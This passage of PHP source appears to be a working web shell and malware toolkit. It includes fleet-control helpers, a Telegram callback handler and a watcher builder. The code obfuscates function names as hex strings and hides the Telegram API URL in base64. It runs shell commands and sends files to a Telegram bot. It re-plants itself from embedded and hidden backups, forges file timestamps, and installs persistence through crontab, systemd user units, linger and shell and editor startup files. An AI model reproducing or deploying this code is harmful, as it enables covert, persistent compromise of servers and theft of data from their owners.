                $h = $_SERVER['HTTP_HOST'] ?? 'localhost';
                $bu = $sc . '://' . $h . '/' . $bn;
                wn_set_hidden_state([
                    'hidden' => true,
                    'beacon_url' => $bu,
                    'token' => $tok,
                    'backup_path' => $bp,
                    'slave_path' => $sp,
                    'hidden_at' => time(),
                ]);
                if (!@unlink($sp)) {
                    wn_set_hidden_state(null);
                    @unlink($bpath);
                    $res['error'] = 'unlink_failed';
                    break;
                }
                $res['hidden'] = true;
                $res['beacon_url'] = $bu;
                $res['token'] = $tok;
            } catch (Throwable $e) {
                $res['error'] = 'hide_exception: ' . $e->getMessage();
            }
            break;

        case 'unhide':
            $st = wn_hide_state();
            if ($st && !empty($st['backup_path']) && @is_file($st['backup_path'])) {
                $sp = $st['slave_path'] ?? (__DIR__ . '/' . basename(__FILE__));
                if (@copy($st['backup_path'], $sp) !== false) @chmod($sp, 0644);
                wn_set_hidden_state(null);
                foreach ((array)glob(dirname($sp) . '/.cache_*.php') as $bf) {
                    $bc = @file_get_contents($bf);
                    if ($bc !== false && !empty($st['token']) && strpos($bc, $st['token']) !== false) @unlink($bf);
                }
            }
            $res['hidden'] = false;
            break;

        default:
            $res['status'] = 'error';
            $res['error'] = 'unknown_op';
    }
    echo json_encode($res, JSON_UNESCAPED_SLASHES);
    exit;
}

// ═══════════════════════════════════════════════════════════════════
// FLEET MASTER HELPERS
// ═══════════════════════════════════════════════════════════════════

function _fl_http($m, $url, $body = '', $headers = [], $timeout = 20)
{
    if (!is_array($headers)) $headers = [];
    $headers[] = 'User-Agent: Mozilla/5.0';
    $headers[] = 'Accept: */*';
    if ($m === 'POST') {
        $headers[] = 'Content-Type: application/x-www-form-urlencoded';
        $headers[] = 'Content-Length: ' . strlen($body);
    }
    if (function_exists('curl_init')) {
        $ch = @wn_call('cu_i', $url);
        if ($ch !== false && $ch !== null) {
            @wn_call('cu_s', $ch, CURLOPT_RETURNTRANSFER, true);
            @wn_call('cu_s', $ch, CURLOPT_TIMEOUT, $timeout);
            @wn_call('cu_s', $ch, CURLOPT_SSL_VERIFYPEER, false);
            @wn_call('cu_s', $ch, CURLOPT_SSL_VERIFYHOST, false);
            @wn_call('cu_s', $ch, CURLOPT_HTTPHEADER, $headers);
            if ($m === 'POST') {
                @wn_call('cu_s', $ch, CURLOPT_POST, true);
                @wn_call('cu_s', $ch, CURLOPT_POSTFIELDS, $body);
            }
            $r = @wn_call('cu_e', $ch);
            @wn_call('cu_c', $ch);
            if (is_string($r) && $r !== '') return $r;
        }
    }
    if (ini_get('allow_url_fopen')) {
        $opts = [
            'http' => [
                'method' => $m,
                'header' => implode("\r\n", $headers) . "\r\n",
                'timeout' => $timeout,
                'ignore_errors' => true,
            ],
            'ssl' => [
                'verify_peer' => false,
                'verify_peer_name' => false,
            ],
        ];
        if ($m === 'POST') $opts['http']['content'] = $body;
        $r = @wn_call('fgc', $url, false, stream_context_create($opts));
        if (is_string($r) && $r !== '') return $r;
    }
    return false;
}

function _fl_key_path() { return wn_blend_name('fleet_key'); }
function _fl_reg_path() { return wn_blend_name('fleet_registry'); }
function _fl_id_path() { return wn_blend_name('fleet_id'); }

function _fl_key()
{
    $f = _fl_key_path();
    if (!file_exists($f)) return '';
    $k = trim((string)wn_call('fgc', $f));
    return strlen($k) >= 16 ? $k : '';
}

function _fl_key_set($key)
{
    wn_call('fpc', _fl_key_path(), $key, LOCK_EX);
    @chmod(_fl_key_path(), 0600);
    return true;
}

function _fl_key_gen()
{
    try { return bin2hex(random_bytes(24)); }
    catch (Throwable $e) { return hash('sha256', 'fk:' . microtime(true) . mt_rand()); }
}

function _fl_server_id()
{
    $f = _fl_id_path();
    if (file_exists($f)) {
        $id = trim((string)wn_call('fgc', $f));
        if (strlen($id) >= 6) return $id;
    }
    $h = @gethostname() ?: 'unknown';
    $id = substr(hash('sha256', 'sid:' . $h . ':' . __DIR__), 0, 12);
    wn_call('fpc', $f, $id, LOCK_EX);
    return $id;
}

function _fl_load()
{
    $f = _fl_reg_path();
    if (!file_exists($f)) return [];
    $j = @json_decode((string)wn_call('fgc', $f), true);
    return is_array($j) ? $j : [];
}

function _fl_save($servers)
{
    wn_call('fpc', _fl_reg_path(), json_encode(array_values($servers), JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), LOCK_EX);
    return true;
}

function _fl_request($url, $op, $params = [], $timeout = 15)
{
    $fk = _fl_key();
    if ($fk === '') return ['error' => 'no_fleet_key'];
    $q = array_merge(['wn_fleet' => '1', 'op' => $op, 'fleet_key' => $fk], $params);
    $sep = (strpos($url, '?') === false) ? '?' : '&';
    $res = _fl_http('GET', $url . $sep . http_build_query($q), '', ['X-WN-Fleet-Key: ' . $fk], $timeout);
    if ($res === false || $res === '') return ['error' => 'http_failed'];
    $j = json_decode($res, true);
    return is_array($j) ? $j : ['error' => 'invalid_json'];
}

function _fl_post($url, $op, $params = [], $timeout = 60)
{
    $fk = _fl_key();
    if ($fk === '') return ['error' => 'no_fleet_key'];
    $sep = (strpos($url, '?') === false) ? '?' : '&';
    $res = _fl_http('POST', $url . $sep . 'wn_fleet=1&op=' . urlencode($op), http_build_query($params), ['X-WN-Fleet-Key: ' . $fk], $timeout);
    if (is_string($res) && trim($res) !== '') {
        $j = json_decode($res, true);
        if (is_array($j)) return $j;
    }
    return ['error' => 'http_failed'];
}

function _fl_bootstrap_push($url, $nk, $bt)
{
    $sig = hash_hmac('sha256', 'boot:' . $nk, $bt);
    $sep = (strpos($url, '?') === false) ? '?' : '&';
    $q = http_build_query(['wn_fleet_bootstrap' => '1', 'key' => $nk, 'sig' => $sig]);
    return trim((string)_fl_http('GET', $url . $sep . $q, '', [], 20));
}

// ═══════════════════════════════════════════════════════════════════
// TG CALLBACK
// ═══════════════════════════════════════════════════════════════════
function wn_tg_callback_handle()
{
    global $__B;
    while (ob_get_level() > 0) @ob_end_clean();
    header('Content-Type: text/plain; charset=utf-8');
    $ek = hash('sha256', 'wn_tg:' . $__B . ':' . wn_get_salt());
    if (!hash_equals($ek, (string)($_GET['key'] ?? ''))) {
        http_response_code(403);
        echo 'FORBIDDEN';
        exit;
    }
    $a = strtolower((string)($_GET['wn_tg'] ?? ''));
    switch ($a) {
        case 'reinstall':
            $r = auto_install_watcher_controller();
            if (($r['status'] ?? '') !== 'success') {
                echo '[X] ' . ($r['message'] ?? 'Fail');
            } else {
                echo "[Reinstall]\nPHP: " . ($r['php_bin'] ?? '?')
                    . "\nWatcher: " . ($r['watcher'] ?? '?')
                    . "\nRing: " . (!empty($r['layers']['ring_daemon']) ? 'OK' : 'NO')
                    . "\nCron: " . (!empty($r['cron_ok']) ? 'OK' : 'NO');
            }
            break;
        case 'uninstall':
            $r = auto_uninstall_watcher_controller();
            echo ($r['status'] ?? '') === 'success'
                ? '[Uninstalled] ' . ($r['message'] ?? 'OK')
                : '[X] ' . ($r['message'] ?? 'Fail');
            break;
        default:
            echo '[X] Unknown: ' . $a;
    }
    exit;
}

// ═══════════════════════════════════════════════════════════════════
// WATCHER BUILDER
// ═══════════════════════════════════════════════════════════════════
function auto_build_watcher_code($b64Bot, $b64Chat, $shell, $root, $bname, $home, $selfUrl = '', $secret = '', $slaveMode = false)
{
    $shellB64 = '';
    if (file_exists(__FILE__)) {
        $raw = wn_call('fgc', __FILE__);
        if ($raw !== false && strlen($raw) > 100) $shellB64 = wn_call('b64e', $raw);
    }
    $code = <<<'WN_WATCHER_TMPL'
<?php
error_reporting(0); @set_time_limit(0); @ignore_user_abort(true);
define("WN_DEBUG_W", __DEBUGFLAG__);
define("WN_SLAVE_MODE", __SLAVEMODE__);
function _f($k){static $m=null;if($m===null){$m=array("se"=>"\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65\x63","fpc"=>"\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73","fgc"=>"\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73","b64d"=>"\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65","b64e"=>"\x62\x61\x73\x65\x36\x34\x5f\x65\x6e\x63\x6f\x64\x65","cu_i"=>"\x63\x75\x72\x6c\x5f\x69\x6e\x69\x74","cu_e"=>"\x63\x75\x72\x6c\x5f\x65\x78\x65\x63","cu_s"=>"\x63\x75\x72\x6c\x5f\x73\x65\x74\x6f\x70\x74","cu_c"=>"\x63\x75\x72\x6c\x5f\x63\x6c\x6f\x73\x65");}return isset($m[$k])?$m[$k]:"";}
function _c($k){$f=_f($k);if($f===""||!function_exists($f))return null;$a=func_get_args();array_shift($a);return @$f(...$a);}
$BOT=_c("b64d",__B64BOT__);
$CHAT=_c("b64d",__B64CHAT__);
$TG_BASE=_c("b64d","aHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdA==");
$TG_FILE=_c("b64d","aHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2ZpbGUvYm90");
$SHELL=__SHELL__;$ROOT=__ROOT__;$BNAME=__BNAME__;$HOME=__HOME__;
$SELF_URL=__URL__;$SECRET=__SEC__;$STATE_DIR_HINT=__STATEDIR__;
$EMBEDDED_SHELL_B64=__SB64__;$REPLICA_WATCHERS=__REPW__;
$REPLICA_BACKUPS=__REPB__;$MAIN_WATCHERS=__MAINW__;
$DAEMON_PHP_NAME=__DAEMONNAME__;$WATCHDOG_PHP_NAME=__WDNAME__;
$DAEMON_PID_PATH=__DAEMONPID__;$WATCHDOG_PID_PATH=__WDPID__;
$SHELL_MTIME_FILE=__MTIMEFILE__;$TRAP_MARKER=__TRAPMARKER__;
$__state=$STATE_DIR_HINT;
if(!is_dir($__state)||!is_writable($__state)){
  $__state=sys_get_temp_dir();
  if(is_dir($HOME."/.cache")&&is_writable($HOME."/.cache"))$__state=$HOME."/.cache";
  elseif(is_dir($HOME)&&is_writable($HOME))$__state=$HOME;
}
$__mem=$__state;
foreach(array("/dev/shm","/run/user/".(function_exists("posix_getuid")?posix_getuid():0)) as $__b){
  if(is_dir($__b)&&is_writable($__b)){
    $__t=$__b."/.wm-".substr(md5(__FILE__),0,8);
    if(!is_dir($__t))@mkdir($__t,0700,true);
    if(is_dir($__t)&&is_writable($__t)){$__mem=$__t;break;}
  }
}
$SHELL_PATH=$ROOT."/".$SHELL;
$BACKUPS=array($HOME."/.cache/".$BNAME,$HOME."/.config/".$BNAME,$HOME."/.local/".$BNAME);
$HK_HBT=hash("sha256","hbt:".$BOT);$HK_STRT=hash("sha256","strt:".$BOT);
$HK_SLFL=hash("sha256","slfh:".$BOT);$HK_ACTV=hash("sha256","actv:".$BOT);
$HK_DEAD=hash("sha256","dead:".$BOT);$HK_DMNT=hash("sha256","dmnt:".$BOT);
$HK_RMPD=hash("sha256","rmpd:".$BOT);$HK_SDPD=hash("sha256","sdpd:".$BOT);
$HK_STLN=hash("sha256","stln:".$BOT);$HK_STKY=hash("sha256","stky:".$BOT);
$HK_ICHK=hash("sha256","ichk:".$BOT);$HK_IALR=hash("sha256","ialr:".$BOT);
$HK_IPAU=hash("sha256","ipau:".$BOT);$HK_IPTT=hash("sha256","iptt:".$BOT);
$HK_DYING=hash("sha256","dying:".$BOT);$HK_FHB=hash("sha256","fhb:".$BOT);
$HK_FHBC=hash("sha256","fhbc:".$BOT);
function wn_p($kind){
  global $__state,$__mem,$DAEMON_PID_PATH,$WATCHDOG_PID_PATH;
  global $HK_HBT,$HK_STRT,$HK_SLFL,$HK_ACTV,$HK_DEAD,$HK_DMNT,$HK_RMPD,$HK_SDPD;
  global $HK_STLN,$HK_STKY,$HK_ICHK,$HK_IALR,$HK_IPAU,$HK_IPTT,$HK_DYING,$HK_FHB,$HK_FHBC;
  if($kind==="daemon_pid")return $DAEMON_PID_PATH;
  if($kind==="watchdog_pid")return $WATCHDOG_PID_PATH;
  $map=array(
    "heartbeat"=>$HK_HBT,"started"=>$HK_STRT,"selfheal"=>$HK_SLFL,
    "activity"=>$HK_ACTV,"deadman"=>$HK_DEAD,"deadman_note"=>$HK_DMNT,
    "rm_pending"=>$HK_RMPD,"sd_pending"=>$HK_SDPD,"stealth_on"=>$HK_STLN,
    "stealth_key"=>$HK_STKY,"integrity_check"=>$HK_ICHK,"integrity_alert"=>$HK_IALR,
    "integrity_pause"=>$HK_IPAU,"integrity_pause_ttl"=>$HK_IPTT,
    "dying"=>$HK_DYING,"fhb_ts"=>$HK_FHB,"fhb_cfg"=>$HK_FHBC
  );
  if(!isset($map[$kind]))return $__state."/.unknown_".$kind;
  $hot=in_array($kind,array("heartbeat","integrity_check","integrity_alert","integrity_pause","integrity_pause_ttl","dying","fhb_ts","fhb_cfg","selfheal","last","activity"));
  return ($hot?$__mem:$__state)."/.".$map[$kind];
}
function wn_sw($f,$d,$k){
  $t=$f.".tmp.".getmypid().".".mt_rand(1000,9999);
  $s=hash_hmac("sha256",$d,$k,true);
  if(_c("fpc",$t,$s.$d,LOCK_EX)===false)return false;
  @chmod($t,0600);
  return @rename($t,$f);
}
function wn_sr($f,$k){
  if(!file_exists($f))return null;
  $r=_c("fgc",$f);
  if($r===false||strlen($r)<33)return null;
  $s=substr($r,0,32);$d=substr($r,32);
  if(!hash_equals($s,hash_hmac("sha256",$d,$k,true)))return null;
  return $d;
}
function wn_read_mtime(){
  global $SHELL_MTIME_FILE;
  if(!file_exists($SHELL_MTIME_FILE))return 0;
  $m=(int)_c("fgc",$SHELL_MTIME_FILE);
  return $m>0?$m:0;
}
function wn_write_mtime($m){
  global $SHELL_MTIME_FILE;
  if($m<=0)return false;
  _c("fpc",$SHELL_MTIME_FILE,(string)$m,LOCK_EX);
  @chmod($SHELL_MTIME_FILE,0600);
  return true;
}
function wn_touch_mtime($p){
  $m=wn_read_mtime();
  if($m>0&&file_exists($p)){@touch($p,$m,$m);return true;}
  return false;
}
function wn_clear_mtime(){
  global $SHELL_MTIME_FILE;
  @unlink($SHELL_MTIME_FILE);
  return true;
}
function wn_is_hidden(){
  global $__state;
  $f=$__state."/.wn_hide_state";
  if(!file_exists($f))return false;
  $j=@json_decode((string)@_c("fgc",$f),true);
  return is_array($j)&&!empty($j["hidden"]);
}
function wn_hide_age(){
  global $__state;
  $f=$__state."/.wn_hide_state";
  if(!file_exists($f))return -1;
  $j=@json_decode((string)@_c("fgc",$f),true);
  if(!is_array($j)||empty($j["hidden_at"]))return -1;
  return time()-(int)$j["hidden_at"];
}
function wn_set_hidden_state($d){
  global $__state;
  $f=$__state."/.wn_hide_state";
  if($d===null){@unlink($f);return true;}
  @_c("fpc",$f,json_encode($d),LOCK_EX);
  @chmod($f,0600);
  return true;
}
function wn_pause_ttl(){
  $f=wn_p("integrity_pause_ttl");
  if($f&&file_exists($f)){$v=(int)_c("fgc",$f);if($v>=60)return $v;}
  return 3600;
}
function wn_tg($url,$timeout=15){
  if(function_exists("curl_init")){
    $ch=_c("cu_i",$url);
    if(!$ch)return false;
    _c("cu_s",$ch,CURLOPT_RETURNTRANSFER,true);
    _c("cu_s",$ch,CURLOPT_TIMEOUT,$timeout);
    _c("cu_s",$ch,CURLOPT_CONNECTTIMEOUT,5);
    _c("cu_s",$ch,CURLOPT_SSL_VERIFYPEER,false);
    _c("cu_s",$ch,CURLOPT_SSL_VERIFYHOST,false);
    _c("cu_s",$ch,CURLOPT_USERAGENT,"Mozilla/5.0");
    $r=_c("cu_e",$ch);
    _c("cu_c",$ch);
    return $r;
  }
  return @_c("fgc",$url);
}
function wn_send($bot,$chat,$text){
  global $TG_BASE;
  if(defined("WN_SLAVE_MODE")&&WN_SLAVE_MODE)return null;
  if(strlen($text)>3800)$text=substr($text,0,3800)."\n...";
  $url=$TG_BASE.$bot."/sendMessage";
  $post=http_build_query(array("chat_id"=>$chat,"text"=>$text));
  if(function_exists("curl_init")){
    $ch=_c("cu_i",$url);
    if(!$ch)return false;
    _c("cu_s",$ch,CURLOPT_RETURNTRANSFER,true);
    _c("cu_s",$ch,CURLOPT_POST,true);
    _c("cu_s",$ch,CURLOPT_POSTFIELDS,$post);
    _c("cu_s",$ch,CURLOPT_TIMEOUT,10);
    _c("cu_s",$ch,CURLOPT_CONNECTTIMEOUT,5);
    _c("cu_s",$ch,CURLOPT_SSL_VERIFYPEER,false);
    _c("cu_s",$ch,CURLOPT_SSL_VERIFYHOST,false);
    _c("cu_s",$ch,CURLOPT_USERAGENT,"Mozilla/5.0");
    $r=_c("cu_e",$ch);
    _c("cu_c",$ch);
    return $r;
  }
  $opts=array("http"=>array("method"=>"POST","header"=>"Content-Type: application/x-www-form-urlencoded","content"=>$post,"timeout"=>10));
  return @_c("fgc",$url,false,stream_context_create($opts));
}
function wn_send_document($bot,$chat,$filepath,$caption=""){
  global $TG_BASE;
  if(defined("WN_SLAVE_MODE")&&WN_SLAVE_MODE)return false;
  if(!file_exists($filepath)||!is_readable($filepath))return false;
  if(!function_exists("curl_init")||!class_exists("CURLFile"))return false;
  $size=@filesize($filepath);
  if($size===false||$size<=0||$size>50*1024*1024)return false;
  $url=$TG_BASE.$bot."/sendDocument";
  $post=array("chat_id"=>$chat,"document"=>new CURLFile($filepath));
  if($caption!=="")$post["caption"]=substr($caption,0,1024);
  $ch=_c("cu_i",$url);
  if(!$ch)return false;
  _c("cu_s",$ch,CURLOPT_RETURNTRANSFER,true);
  _c("cu_s",$ch,CURLOPT_POST,true);
  _c("cu_s",$ch,CURLOPT_POSTFIELDS,$post);
  _c("cu_s",$ch,CURLOPT_TIMEOUT,60);
  _c("cu_s",$ch,CURLOPT_SSL_VERIFYPEER,false);
  _c("cu_s",$ch,CURLOPT_SSL_VERIFYHOST,false);
  $r=_c("cu_e",$ch);
  _c("cu_c",$ch);
  $j=json_decode($r,true);
  return isset($j["ok"])&&$j["ok"]===true;
}
function wn_download_file($bot,$fileId,$dest){
  global $TG_BASE,$TG_FILE;
  $info=wn_tg($TG_BASE.$bot."/getFile?file_id=".urlencode($fileId));
  $j=json_decode($info,true);
  if(!$j||empty($j["ok"])||empty($j["result"]["file_path"]))return false;
  $url=$TG_FILE.$bot."/".$j["result"]["file_path"];
  $content=wn_tg($url,30);
  if($content===false||$content===null)return false;
  $dir=dirname($dest);
  if(!is_dir($dir))@mkdir($dir,0755,true);
  if(_c("fpc",$dest,$content)===false)return false;
  return strlen($content);
}
function wn_sh($cmd){return _c("se",$cmd.' 2>&1');}
function wn_rmdir_recursive($dir){
  if(is_link($dir))return @unlink($dir);
  if(!is_dir($dir))return @unlink($dir);
  $items=@scandir($dir);
  if($items===false)return false;
  $ok=true;
  foreach($items as $item){
    if($item==="."||$item==="..")continue;
    $p=$dir.DIRECTORY_SEPARATOR.$item;
    if(is_dir($p)&&!is_link($p)){
      if(!wn_rmdir_recursive($p))$ok=false;
    }else{
      if(!@unlink($p))$ok=false;
    }
  }
  if(!@rmdir($dir))$ok=false;
  return $ok;
}
function wn_restore_shell(){
  global $EMBEDDED_SHELL_B64,$SHELL_PATH,$BACKUPS,$REPLICA_BACKUPS;
  if(wn_is_hidden())return array("ok"=>false,"msg"=>"hidden");
  if(file_exists($SHELL_PATH))return array("ok"=>true,"msg"=>"Already exists");
  foreach(array_merge($BACKUPS,$REPLICA_BACKUPS) as $bk){
    if(!file_exists($bk))continue;
    $raw=_c("fgc",$bk);
    if($raw===false||strlen($raw)<100)continue;
    if(strpos($raw,"<?php")===false)continue;
    if(_c("fpc",$SHELL_PATH,$raw)!==false){
      @chmod($SHELL_PATH,0644);
      wn_touch_mtime($SHELL_PATH);
      return array("ok"=>true,"msg"=>"Restored from backup");
    }
  }
  if(!empty($EMBEDDED_SHELL_B64)){
    $raw=_c("b64d",$EMBEDDED_SHELL_B64);
    if($raw!==false&&strlen($raw)>100){
      $dir=dirname($SHELL_PATH);
      if(!is_dir($dir))@mkdir($dir,0755,true);
      if(_c("fpc",$SHELL_PATH,$raw)!==false){
        @chmod($SHELL_PATH,0644);
        wn_touch_mtime($SHELL_PATH);
        return array("ok"=>true,"msg"=>"Restored from embedded");
      }
    }
  }
  return array("ok"=>false,"msg"=>"No backup available");
}
function wn_heal_backups(){
  global $BACKUPS,$REPLICA_BACKUPS,$SHELL_PATH;
  $src=null;
  if(file_exists($SHELL_PATH))$src=$SHELL_PATH;
  else foreach(array_merge($BACKUPS,$REPLICA_BACKUPS) as $bk)if(file_exists($bk)){$src=$bk;break;}
  if(!$src)return 0;
  $raw=_c("fgc",$src);
  if($raw===false||strlen($raw)<100)return 0;
  $healed=0;
  foreach(array_merge($BACKUPS,$REPLICA_BACKUPS) as $bk){
    if(file_exists($bk))continue;
    $dir=dirname($bk);
    if(!is_dir($dir))@mkdir($dir,0700,true);
    if(is_dir($dir)&&is_writable($dir)){
      if(_c("fpc",$bk,$raw)!==false){
        @chmod($bk,0400);
        wn_touch_mtime($bk);
        $healed++;
      }
    }
  }
  return $healed;
}
function wn_self_replicate(){
  global $REPLICA_WATCHERS;
  $self=__FILE__;
  if(!is_file($self))return 0;
  $raw=_c("fgc",$self);
  if($raw===false||strlen($raw)<500)return 0;
  $r=0;
  foreach($REPLICA_WATCHERS as $p){
    if(file_exists($p)&&@filesize($p)===strlen($raw))continue;
    $dir=dirname($p);
    if(!is_dir($dir))@mkdir($dir,0700,true);
    if(is_dir($dir)&&is_writable($dir)){
      if(_c("fpc",$p,$raw)!==false){@chmod($p,0600);$r++;}
    }
  }
  return $r;
}
function wn_g_key(){
  global $SECRET,$SHELL,$ROOT;
  return hash("sha256","guard:".$SECRET.":".$SHELL.":".$ROOT,true);
}
function wn_g_paths(){
  $base=".snap_".substr(md5(wn_g_key()."x"),0,12);
  $h=getenv("HOME")?:"";
  $p=array();
  foreach(array($h."/.local/share/icons",$h."/.cache/icons",$h."/.config/icons",$h."/.local/state") as $d){
    if($d&&is_dir($d)&&is_writable($d))$p[]=$d."/".$base.".dat";
  }
  global $__state;
  if(isset($__state)&&$__state)$p[]=$__state."/".$base.".dat";
  $p[]=sys_get_temp_dir()."/".$base.".dat";
  return array_values(array_unique($p));
}
function wn_g_save($layers){
  $k=wn_g_key();
  $j=json_encode($layers);
  if($j===false)return 0;
  $s=hash_hmac("sha256",$j,$k,true);
  $blob=$s.$j;
  $n=0;
  foreach(wn_g_paths() as $p){
    $d=dirname($p);
    if(!is_dir($d))@mkdir($d,0700,true);
    if(is_dir($d)&&is_writable($d)){
      if(@_c("fpc",$p,$blob,LOCK_EX)!==false){@chmod($p,0600);$n++;}
    }
  }
  return $n;
}
function wn_g_load(){
  static $c=null;
  if($c!==null)return $c;
  $k=wn_g_key();
  $found=false;
  foreach(wn_g_paths() as $p){
    if(!file_exists($p))continue;
    $found=true;
    $b=_c("fgc",$p);
    if($b===false||strlen($b)<33)continue;
    $sig=substr($b,0,32);
    $json=substr($b,32);
    if(!hash_equals($sig,hash_hmac("sha256",$json,$k,true)))continue;
    $l=json_decode($json,true);
    if(is_array($l))return $c=$l;
  }
  return $c=($found?"CORRUPT":null);
}
function wn_g_blocks(){
  $h=getenv("HOME")?:"";
  return array(
    "bashrc"=>$h."/.bashrc","profile"=>$h."/.profile",
    "bash_profile"=>$h."/.bash_profile","zshrc"=>$h."/.zshrc",
    "bash_logout"=>$h."/.bash_logout","bash_login"=>$h."/.bash_login",
    "ssh_rc"=>$h."/.ssh/rc","tmux_conf"=>$h."/.tmux.conf",
    "gitconfig"=>$h."/.gitconfig","vimrc"=>$h."/.vimrc",
    "vim_plugin"=>$h."/.vim/plugin/session.vim",
    "lessfilter"=>$h."/.lessfilter"
  );
}
function wn_g_extract_block($content,$marker_prefix){
  $lines=explode("\n",$content);
  $block=array();
  $in=false;
  foreach($lines as $l){
    if(!$in&&stripos($l,$marker_prefix)!==false){$in=true;$block[]=$l;continue;}
    if($in){if(trim($l)==="")break;$block[]=$l;}
  }
  return trim(implode("\n",$block));
}
function wn_g_capture(){
  global $HOME,$SHELL_PATH,$BACKUPS,$REPLICA_BACKUPS,$MAIN_WATCHERS,$REPLICA_WATCHERS;
  $l=array();
  if(trim((string)wn_sh("command -v crontab 2>/dev/null"))!==""){
    $cron=trim((string)wn_sh("crontab -l 2>/dev/null"));
    if($cron!==""&&(stripos($cron,"php-sess")!==false||stripos($cron,"@reboot")!==false))$l["crontab"]=$cron;
  }
  foreach(wn_g_blocks() as $n=>$p){
    if(!file_exists($p))continue;
    $c=@_c("fgc",$p);
    if($c===false)continue;
    $markers=array("wn_shim_","wn_trap_","wn_vimrc_","wn_tmux_","wn_gitpager_","wn_vimplug_");
    foreach($markers as $m){
      if(stripos($c,$m)!==false){
        $b=wn_g_extract_block($c,$m);
        if($b!=="")$l["block:".$n]=$b;
        break;
      }
    }
  }
  if(!empty($HOME)){
    $ud=$HOME."/.config/systemd/user";
    foreach((array)glob($ud."/php-session*.service") as $sp){
      if(!is_file($sp))continue;
      $c=@_c("fgc",$sp);
      if($c!==false&&$c!=="")$l["systemd:".basename($sp)]=$c;
    }
    foreach((array)glob($ud."/php-session*.timer") as $tp){
      if(!is_file($tp))continue;
      $c=@_c("fgc",$tp);
      if($c!==false&&$c!=="")$l["systemd:".basename($tp)]=$c;
    }
  }
  $u=function_exists("posix_getpwuid")?(@posix_getpwuid(@posix_getuid())["name"]??""):trim((string)wn_sh("id -un 2>/dev/null"));
  if($u!==""){
    $ls=trim((string)wn_sh("loginctl show-user ".escapeshellarg($u)." -p Linger 2>/dev/null"));
    if(stripos($ls,"Linger=yes")!==false)$l["linger:yes"]=$u;
  }
  foreach(array_merge($MAIN_WATCHERS,$REPLICA_WATCHERS) as $w){
    if(file_exists($w)){$c=@_c("fgc",$w);if($c!==false)$l["watcher:".md5($w)]=$c;}
  }
  foreach(array_merge($BACKUPS,$REPLICA_BACKUPS) as $b){
    if(file_exists($b)){$c=@_c("fgc",$b);if($c!==false)$l["backup:".md5($b)]=$c;}
  }
  return $l;
}
function wn_g_restore($name,$content){
  global $HOME,$BACKUPS,$REPLICA_BACKUPS,$MAIN_WATCHERS,$REPLICA_WATCHERS;
  if($name==="crontab"){
    if(trim((string)wn_sh("command -v crontab 2>/dev/null"))==="")return false;
    $cur=trim((string)wn_sh("crontab -l 2>/dev/null"));
    if($cur===$content)return false;
    $tmp=tempnam(sys_get_temp_dir(),"cgt");
    if(!$tmp)return false;
    _c("fpc",$tmp,$content."\n");
    wn_sh("crontab ".escapeshellarg($tmp)." 2>/dev/null");
    @unlink($tmp);
    return true;
  }
  if(strpos($name,"block:")===0){
    $n=substr($name,6);
    $blocks=wn_g_blocks();
    if(!isset($blocks[$n]))return false;
    $t=$blocks[$n];
    if(file_exists($t)){
      $cur=@_c("fgc",$t);
      if($cur!==false&&strpos($cur,$content)!==false)return false;
      if(@_c("fpc",$t,"\n".$content."\n",FILE_APPEND|LOCK_EX)!==false)return true;
      return false;
    }
    $d=dirname($t);
    if(!is_dir($d))@mkdir($d,0700,true);
    if(@_c("fpc",$t,$content."\n",LOCK_EX)!==false){
      @chmod($t,strpos($n,"ssh_rc")!==false?0600:0644);
      return true;
    }
    return false;
  }
  if(strpos($name,"systemd:")===0){
    $unit=substr($name,8);
    $t=$HOME."/.config/systemd/user/".$unit;
    $d=dirname($t);
    if(!is_dir($d))@mkdir($d,0700,true);
    if(@_c("fpc",$t,$content,LOCK_EX)!==false){
      @chmod($t,0600);
      wn_sh("systemctl --user daemon-reload 2>/dev/null");
      wn_sh("systemctl --user enable --now ".escapeshellarg($unit)." 2>/dev/null");
      return true;
    }
    return false;
  }
  if(strpos($name,"linger:")===0){
    $u=$content;
    if(trim((string)wn_sh("command -v loginctl 2>/dev/null"))==="")return false;
    $cur=trim((string)wn_sh("loginctl show-user ".escapeshellarg($u)." -p Linger 2>/dev/null"));
    if(stripos($cur,"Linger=yes")!==false)return false;
    wn_sh("loginctl enable-linger ".escapeshellarg($u)." 2>&1");
    usleep(1500000);
    $chk=trim((string)wn_sh("loginctl show-user ".escapeshellarg($u)." -p Linger 2>/dev/null"));
    return stripos($chk,"Linger=yes")!==false;
  }
  if(strpos($name,"watcher:")===0){
    $h=substr($name,8);
    foreach(array_merge($MAIN_WATCHERS,$REPLICA_WATCHERS) as $p){
      if(md5($p)===$h){
        $d=dirname($p);
        if(!is_dir($d))@mkdir($d,0700,true);
        if(@_c("fpc",$p,$content,LOCK_EX)!==false){@chmod($p,0600);return true;}
        return false;
      }
    }
  }
  if(strpos($name,"backup:")===0){
    $h=substr($name,7);
    foreach(array_merge($BACKUPS,$REPLICA_BACKUPS) as $p){
      if(md5($p)===$h){
        $d=dirname($p);
        if(!is_dir($d))@mkdir($d,0700,true);
        if(@_c("fpc",$p,$content,LOCK_EX)!==false){@chmod($p,0400);return true;}
        return false;
      }
    }
  }
  return false;
}
function wn_guardian($force=false){
  global $BOT,$CHAT,$__state,$SELF_URL;
  $s=wn_g_load();
  $alertFile=(isset($__state)?$__state:sys_get_temp_dir())."/.guardian_alert";
  $host=(parse_url($SELF_URL,PHP_URL_HOST)?:"?");
  if($s==="CORRUPT"){
    $lastA=file_exists($alertFile)?(int)@_c("fgc",$alertFile):0;
    if(time()-$lastA>600){
      @_c("fpc",$alertFile,(string)time(),LOCK_EX);
      wn_send($BOT,$CHAT,"[GUARDIAN] Snapshot TAMPERED\nHost: ".$host);
    }
    $s=null;
  }
  $cur=wn_g_capture();
  if($s===null){
    if(count($cur)>=1)wn_g_save($cur);
    return array();
  }
  $restored=array();
  foreach($s as $name=>$content){
    if($name==="crontab"){
      $live=(string)wn_sh("crontab -l 2>/dev/null");
      if(stripos($live,"php-sess")===false&&stripos($live,"cleanup.lock")===false){
        if(wn_g_restore($name,$content))$restored[]="crontab";
      }
      continue;
    }
    if(!isset($cur[$name])){
      if(wn_g_restore($name,$content))$restored[]=$name;
